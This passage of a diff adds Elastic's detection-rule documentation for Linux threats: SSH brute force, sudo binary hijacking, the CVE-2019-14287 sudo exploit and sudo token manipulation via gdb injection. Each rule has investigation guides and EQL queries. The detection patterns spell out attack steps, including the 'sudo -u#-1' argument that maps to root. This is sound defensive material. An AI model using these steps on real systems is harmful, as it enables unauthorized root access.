T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-successful-ssh-brute-force-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-successful-ssh-brute-force-attack.asciidoc new file mode 100644 index 0000000000..0a2dc0de33 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-successful-ssh-brute-force-attack.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-potential-successful-ssh-brute-force-attack]] +=== Potential Successful SSH Brute Force Attack + +Identifies multiple SSH login failures followed by a successful one from the same source address. Adversaries can attempt to login into multiple users with a common or known password to gain access to accounts. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* filebeat-* +* logs-system.auth-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 17 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Successful SSH Brute Force Attack* + + +The rule identifies consecutive SSH login failures followed by a successful login from the same source IP address to the same target host indicating a successful attempt of brute force password guessing. + + +*Possible investigation steps* + + +- Investigate the login failure user name(s). +- Investigate the source IP address of the failed ssh login attempt(s). +- Investigate other alerts associated with the user/host during the past 48 hours. +- Identify the source and the target computer and their roles in the IT environment. + + +*False positive analysis* + + +- Authentication misconfiguration or obsolete credentials. +- Service account password expired. +- Infrastructure or availability issue. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Ensure active session(s) on the host(s) are terminated as the attacker could have gained initial access to the system(s). +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Auditbeat +- Filebeat + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Filebeat” information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the “Filebeat System Module” to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, source.ip, user.name with maxspan=15s + [authentication where host.os.type == "linux" and event.action in ("ssh_login", "user_login") and + event.outcome == "failure" and source.ip != null and source.ip != "0.0.0.0" and source.ip != "::" ] with runs=25 + [authentication where host.os.type == "linux" and event.action in ("ssh_login", "user_login") and + event.outcome == "success" and source.ip != null and source.ip != "0.0.0.0" and source.ip != "::" ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sudo-hijacking.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sudo-hijacking.asciidoc new file mode 100644 index 0000000000..c453a16921 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sudo-hijacking.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-34-potential-sudo-hijacking]] +=== Potential Sudo Hijacking + +Identifies the creation of a sudo binary located at /usr/bin/sudo. Attackers may hijack the default sudo binary and replace it with a custom binary or script that can read the user's password in clear text to escalate privileges or enable persistence onto the system every time the sudo binary is executed. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://eapolsniper.github.io/2020/08/17/Sudo-Hijacking/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Sudo Hijacking* + + +Sudo is a critical utility in Linux environments, allowing users to execute commands with elevated privileges. Adversaries may exploit this by replacing the sudo binary with a malicious version to capture passwords or maintain persistence. The detection rule identifies suspicious creation or renaming of the sudo binary, excluding legitimate package management processes, to flag potential hijacking attempts. + + +*Possible investigation steps* + + +- Review the file creation or rename event details to confirm the file path is either /usr/bin/sudo or /bin/sudo, as these are critical locations for the sudo binary. +- Check the process executable that triggered the event to ensure it is not part of the legitimate package management processes listed in the query, such as /bin/dpkg or /usr/bin/yum. +- Investigate the user account associated with the event to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Examine the system logs around the time of the event for any unusual activity or errors that might indicate tampering or unauthorized access. +- Verify the integrity of the current sudo binary by comparing its hash with a known good version to detect any unauthorized modifications. +- Assess the system for any additional signs of compromise, such as unexpected network connections or new user accounts, which may indicate broader malicious activity. + + +*False positive analysis* + + +- Package management processes can trigger false positives when legitimate updates or installations occur. To handle this, ensure that processes like dpkg, rpm, yum, and apt are included in the exclusion list as they are common package managers. +- Custom scripts or automation tools that modify the sudo binary for legitimate reasons may cause alerts. Review these scripts and consider adding their paths to the exclusion list if they are verified as safe. +- Temporary files or directories used during legitimate software installations or updates, such as those in /var/lib/dpkg or /tmp, can lead to false positives. Exclude these paths if they are part of a known and safe process. +- Development or testing environments where sudo binaries are frequently modified for testing purposes might trigger alerts. In such cases, consider excluding these environments from monitoring or adding specific exclusions for known safe modifications. +- Ensure that any process or executable that is known to interact with the sudo binary in a non-malicious way is added to the exclusion list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Verify the integrity of the sudo binary by comparing its hash with a known good version from a trusted source. If compromised, replace it with the legitimate binary. +- Conduct a thorough review of system logs and the process execution history to identify any unauthorized changes or suspicious activities related to the sudo binary. +- Reset passwords for all user accounts on the affected system, especially those with elevated privileges, to mitigate potential credential theft. +- Implement additional monitoring on the affected system and similar environments to detect any further attempts to modify critical binaries or escalate privileges. +- Escalate the incident to the security operations team for a comprehensive investigation and to determine if other systems may be affected. +- Review and update access controls and permissions to ensure that only authorized personnel can modify critical system binaries. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("creation", "rename") and +file.path in ("/usr/bin/sudo", "/bin/sudo") and not ( + process.name like ("python*", "platform-python*") or + file.Ext.original.path in ("/usr/bin/sudo", "/bin/sudo") or + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", "/bin/dnf", "/usr/bin/dnf", + "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", "/bin/pacman", "/usr/bin/pacman", + "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", "/usr/local/sbin/apk", "/usr/bin/apt", + "/usr/sbin/pacman", "/usr/bin/microdnf", "/usr/local/bin/dockerd", "/usr/local/bin/podman", "/usr/local/bin/dnf", + "/kaniko/executor", "/proc/self/exe", "/usr/bin/apt-get", "/usr/bin/apt-cache", "/usr/bin/apt-mark", + "./usr/bin/podman", "./usr/lib/snapd/snap-update-ns", "/kaniko/kaniko-executor", "/usr/libexec/packagekitd", + "/usr/bin/dnf5", "/usr/lib/pamac/pamac-daemon", "./usr/libexec/snapd/snap-update-ns", "/usr/bin/update-alternatives", + "/var/ossec/bin/wazuh-syscheckd", "/usr/local/bin/defender", "/usr/sbin/dnf", "/usr/local/bin/starship", "/bin/dnf4", + "/usr/sbin/yum-cron", "/bin/buildah", "/usr/bin/buildah" + ) or + file.Ext.original.extension == "dpkg-new" or + file.Ext.original.name like "sudo;*" or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/var/lib/docker/*", + "./snap/snapd/*/usr/lib/snapd/snap-update-ns", "/opt/docker/overlay2/*/dockerd", + "/var/lib/containers/storage/overlay/*/dockerd", "/usr/libexec/platform-python*" + ) or + process.executable == null or + (process.name == "sed" and file.name : "sed*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Input Capture +** ID: T1056 +** Reference URL: https://attack.mitre.org/techniques/T1056/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sudo-privilege-escalation-via-cve-2019-14287.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sudo-privilege-escalation-via-cve-2019-14287.asciidoc new file mode 100644 index 0000000000..0a00556867 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sudo-privilege-escalation-via-cve-2019-14287.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-potential-sudo-privilege-escalation-via-cve-2019-14287]] +=== Potential Sudo Privilege Escalation via CVE-2019-14287 + +This rule monitors for the execution of a suspicious sudo command that is leveraged in CVE-2019-14287 to escalate privileges to root. Sudo does not verify the presence of the designated user ID and proceeds to execute using a user ID that can be chosen arbitrarily. By using the sudo privileges, the command "sudo -u#-1" translates to an ID of 0, representing the root user. This exploit may work for sudo versions prior to v1.28. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.exploit-db.com/exploits/47502 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Use Case: Vulnerability +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2019-14287 + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Sudo Privilege Escalation via CVE-2019-14287* + + +CVE-2019-14287 exploits a flaw in certain sudo versions, allowing users to execute commands as root by bypassing user ID verification. Attackers can misuse this to gain unauthorized root access, posing significant security risks. The detection rule identifies suspicious sudo commands indicative of this exploit, focusing on specific command patterns that translate to root execution, thereby alerting security teams to potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the suspicious command pattern "sudo -u#-1" in the process arguments, as this is indicative of the CVE-2019-14287 exploit attempt. +- Identify the user account associated with the process execution to determine if the user should have legitimate access to execute commands with elevated privileges. +- Examine the process execution timeline to identify any preceding or subsequent suspicious activities that might indicate a broader attack or compromise. +- Check the version of sudo installed on the affected system to verify if it is vulnerable to CVE-2019-14287, specifically versions prior to v1.28. +- Investigate the source IP address and hostname of the affected system to assess if it is part of a larger attack pattern or if there are other systems potentially compromised. +- Review system logs and audit trails for any additional unauthorized access attempts or privilege escalation activities around the time of the alert. +- If possible, isolate the affected system to prevent further unauthorized access while conducting a more thorough forensic analysis. + + +*False positive analysis* + + +- Legitimate administrative tasks using sudo with unconventional user ID arguments may trigger the rule. Review the context of the command execution to determine if it aligns with expected administrative activities. +- Automated scripts or maintenance tools that use sudo with arbitrary user IDs for testing or configuration purposes might be flagged. Identify and document these scripts, then create exceptions in the monitoring system to exclude them from alerts. +- Development environments where developers have elevated privileges for testing purposes could generate false positives. Ensure that such environments are well-documented and consider excluding them from this specific rule if they consistently trigger alerts. +- Security tools or monitoring systems that simulate attacks for testing detection capabilities may inadvertently trigger this rule. Coordinate with security teams to whitelist these tools or adjust their configurations to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Terminate any suspicious processes identified with the command pattern "sudo -u#-1" to halt any ongoing unauthorized activities. +- Conduct a thorough review of system logs and sudo logs to identify any additional unauthorized access attempts or successful privilege escalations. +- Reset passwords and review user accounts on the affected system to ensure no unauthorized accounts have been created or existing accounts have been compromised. +- Apply patches or upgrade sudo to a version later than v1.28 to mitigate the vulnerability exploited by CVE-2019-14287. +- Monitor the network for any signs of data exfiltration or further exploitation attempts, using enhanced logging and alerting mechanisms. +- Report the incident to the appropriate internal security team or external authorities if required, providing them with detailed findings and actions taken. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + process.name == "sudo" and process.args == "-u#-1" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sudo-token-manipulation-via-process-injection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sudo-token-manipulation-via-process-injection.asciidoc new file mode 100644 index 0000000000..ba882198a4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sudo-token-manipulation-via-process-injection.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-potential-sudo-token-manipulation-via-process-injection]] +=== Potential Sudo Token Manipulation via Process Injection + +This rule detects potential sudo token manipulation attacks through process injection by monitoring the use of a debugger (gdb) process followed by a successful uid change event during the execution of the sudo process. A sudo token manipulation attack is performed by injecting into a process that has a valid sudo token, which can then be used by attackers to activate their own sudo token. This attack requires ptrace to be enabled in conjunction with the existence of a living process that has a valid sudo token with the same uid as the current user. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/nongiach/sudo_inject + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Sudo Token Manipulation via Process Injection* + + +In Linux environments, process injection can be exploited by adversaries to manipulate sudo tokens, allowing unauthorized privilege escalation. Attackers may use debugging tools like gdb to inject code into processes with valid sudo tokens, leveraging ptrace capabilities. The detection rule identifies this threat by monitoring for gdb execution followed by a uid change in the sudo process, indicating potential token manipulation. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host and process session leader entity ID involved in the potential sudo token manipulation. +- Examine the process tree on the affected host to trace the parent and child processes of the gdb execution, focusing on any unusual or unauthorized processes. +- Check the system logs for any recent sudo commands executed by the user associated with the gdb process to determine if there were any unauthorized privilege escalations. +- Investigate the user account associated with the gdb process to verify if it has legitimate reasons to use debugging tools and if it has been compromised. +- Analyze the timing and context of the uid change event in the sudo process to assess if it aligns with legitimate administrative activities or if it appears suspicious. +- Review the system's ptrace settings to ensure they are configured securely and assess if there have been any recent changes that could have enabled this attack vector. + + +*False positive analysis* + + +- Debugging activities by developers or system administrators using gdb for legitimate purposes can trigger this rule. To manage this, create exceptions for specific user IDs or groups known to perform regular debugging tasks. +- Automated scripts or maintenance tools that utilize gdb for process analysis might cause false positives. Identify these scripts and exclude their associated process names or paths from the rule. +- System monitoring or security tools that perform uid changes as part of their normal operation could be mistaken for malicious activity. Review and whitelist these tools by their process names or specific user IDs. +- Training or testing environments where sudo and gdb are used frequently for educational purposes may generate alerts. Consider excluding these environments by host ID or network segment to reduce noise. +- Scheduled tasks or cron jobs that involve gdb and sudo processes might inadvertently match the rule criteria. Analyze these tasks and exclude them based on their execution times or specific process attributes. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or privilege escalation. +- Terminate any suspicious gdb and sudo processes identified in the alert to stop ongoing process injection attempts. +- Conduct a thorough review of the affected system's process and user activity logs to identify any unauthorized changes or access patterns. +- Reset credentials and sudo tokens for all users on the affected system to prevent further exploitation using compromised tokens. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Re-enable ptrace restrictions if they were previously disabled, to limit the ability of attackers to perform process injection. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.session_leader.entity_id with maxspan=15s +[ process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name == "gdb" and process.user.id != "0" and process.group.id != "0" ] +[ process where host.os.type == "linux" and event.action == "uid_change" and event.type == "change" and + process.name == "sudo" and process.user.id == "0" and process.group.id == "0" ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Ptrace System Calls +** ID: T1055.008 +** Reference URL: https://attack.mitre.org/techniques/T1055/008/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Ptrace System Calls +** ID: T1055.008 +** Reference URL: https://attack.mitre.org/techniques/T1055/008/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-suspicious-debugfs-root-device-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-suspicious-debugfs-root-device-access.asciidoc new file mode 100644 index 0000000000..7d222661e7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-suspicious-debugfs-root-device-access.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-potential-suspicious-debugfs-root-device-access]] +=== Potential Suspicious DebugFS Root Device Access + +This rule monitors for the usage of the built-in Linux DebugFS utility to access a disk device without root permissions. Linux users that are part of the "disk" group have sufficient privileges to access all data inside of the machine through DebugFS. Attackers may leverage DebugFS in 